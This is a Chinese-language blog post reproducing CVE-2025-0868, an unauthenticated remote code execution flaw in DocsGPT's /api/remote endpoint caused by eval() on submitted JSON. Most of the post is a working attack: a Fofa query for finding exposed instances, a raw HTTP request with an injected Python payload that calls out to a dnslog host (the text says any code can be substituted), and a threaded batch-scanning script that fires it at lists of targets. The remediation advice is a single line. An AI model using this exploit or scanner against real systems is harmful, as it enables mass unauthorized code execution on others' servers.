DocsGPT 远程命令执行漏洞复现(CVE-2025-0868)

免责申明:

本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。

前言:

我们建立了一个更多,更全的知识库。每日追踪最新的安全漏洞并提供批量性检测脚本。

更多详情:

复制代码
https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X

0x01 产品描述:

DocsGPT是一款基于大语言模型的开源文档智能问答工具,通过整合GPT系列模型(如GPT-3.5、Falcon和Llama2优化版本)Meta的Faiss相似性搜索库及LangChain框架,支持用户以自然语言对话形式快速查询TXT/PDF/MD/RST/ZIP等多格式文档内容。该系统提供网页端、本地化部署和Chrome插件三种使用方式,允许企业私有化部署知识库并实现离线问答服务,尤其适用于技术文档管理、智能客服等场景,其开源特性还支持用户自定义模型和提示词模板以增强安全性与灵活性。
0x02 漏洞描述:

DocsGPT 中存在导致远程代码执行 (RCE) 的漏洞。由于使用 eval() 对 JSON 数据进行解析不当,未经授权的攻击者可发送任意 Python 代码以通过 /api/remote 端点执行。

0x03 影响版本:

0.8.1 <DocsGPT< 0.12.0
0x04 搜索语句:

Fofa:body="Welcome to DocsGPT"


0x05 漏洞复现:

复制代码
POST /api/remote HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Content-Length: 232

user=1&source=reddit&name=other&data={"source":"reddit","client_id":"1111","client_secret":1111,"user_agent":"111","search_queries":[""],"number_posts":10,"rce\\\\":__import__('requests').get('http://111.9io46y.dnslog.cn/')}#":11}

这里dns地址可以替换为远程任意可执行代码

0x06 批量检测脚本:

复制代码
批量检测:
python poc.py -f url.txt -p payload
单个检测:
python poc.py -u your-ip -p payload

import argparse
import requests
from urllib.parse import quote, urlparse, urlunparse
from concurrent.futures import ThreadPoolExecutor

requests.packages.urllib3.disable_warnings()

def normalize_url(raw_url):
    if not raw_url.startswith(('http://', 'https://')):
        raw_url = f'http://{raw_url}'
    parsed = urlparse(raw_url)
    return urlunparse((
        parsed.scheme,
        parsed.netloc,
        '/api/remote',
        '', '', ''
    ))

def build_form_data(dnslog_url):

    payload_json = (
        '{{"source":"reddit",'
        '"client_id":"1111",'
        '"client_secret":1111,'
        '"user_agent":"111",'
        '"search_queries":[""],'
        '"number_posts":10,'
        '"rce\\\\":__import__(\\\'requests\\\').get(\\\'{dns}\\\')}}#":1}}'
    ).format(dns=dnslog_url)
    return f'user=1&source=reddit&name=other&data={quote(payload_json)}'

def check_vulnerability(target, form_data, timeout=15, debug=False):
    try:
        final_url = normalize_url(target)
        headers = {
            "Host": urlparse(final_url).netloc,
            "Content-Type": "application/x-www-form-urlencoded"
        }

        if debug:
            print(f"\n[DEBUG] 完整请求URL: {final_url}")
            print(f"[DEBUG] 请求头: {headers}")
            print(f"[DEBUG] 请求体原始数据:\n{form_data}")

        response = requests.post(
            final_url,
            headers=headers,
            data=form_data,
            timeout=timeout,
            verify=False
        )

        if debug:
            print(f"[DEBUG] 响应状态码: {response.status_code}")
            print(f"[DEBUG] 响应体前200字符:\n{response.text[:200]}")

        return response.status_code == 200 and '"status":"ok"' in response.text.replace(' ', '')
    except Exception as e:
        if debug:
            print(f"[DEBUG] 异常信息: {str(e)}")
        return False

def main():
    parser = argparse.ArgumentParser(description="DocsGPT远程命令执行检测工具")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--url", help="单个检测目标")
    group.add_argument("-f", "--file", help="批量检测文件路径")
    parser.add_argument("-p", "--payload", required=True, help="DNSLog监控地址")
    parser.add_argument("-t", "--timeout", type=int, default=15, help="请求超时时间(秒)")
    parser.add_argument("--debug", action="store_true", help="启用调试模式")
    args = parser.parse_args()

    form_data = build_form_data(args.payload.strip())
    
    # 处理目标列表
    targets = []
    if args.url:
        targets.append(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            targets = [line.strip() for line in f if line.strip()]

    print(f"[*] 开始扫描 {len(targets)} 个目标")

    with ThreadPoolExecutor(max_workers=20) as executor:
        for target in targets:
            executor.submit(
                lambda t: print(
                    f"\033[1;32m[+] 漏洞确认: {t}\033[0m" 
                    if check_vulnerability(t, form_data, args.timeout, args.debug) 
                    else f"[-] 目标安全: {t}"
                ),
                target
            )

if __name__ == "__main__":
    main()


0x07 修复建议:

尽快升级至安全版本

相关推荐
玉笥寻珍14 分钟前
Web安全渗测试基础知识之SSL交互异常利用篇
网络协议·安全·web安全·网络安全·交互·ssl
7yewh38 分钟前
MCU程序加密保护(二)ID 验证法 加密与解密
单片机·嵌入式硬件·安全
不会代码的小徐40 分钟前
容器安全-核心概述
安全·网络安全·云计算
彬彬醤2 小时前
查询电脑伪装IP,网络安全速查攻略!
网络·网络协议·tcp/ip·安全·web安全·http·https
Python私教4 小时前
Rust:重新定义系统编程的安全与效率边界
开发语言·安全·rust
w23617346016 小时前
OAuth安全架构深度剖析:协议机制与攻防实践
安全·oauth·安全架构
筑梦之月7 小时前
全流量解析:让安全防御从“被动挨打”升级为“主动狩猎”
网络·安全
唐山柳林7 小时前
城市生命线综合管控系统解决方案-守护城市生命线安全
java·安全·servlet
Waitccy8 小时前
深度解析网闸策略:构建坚固的网络安全防线
网络·安全·web安全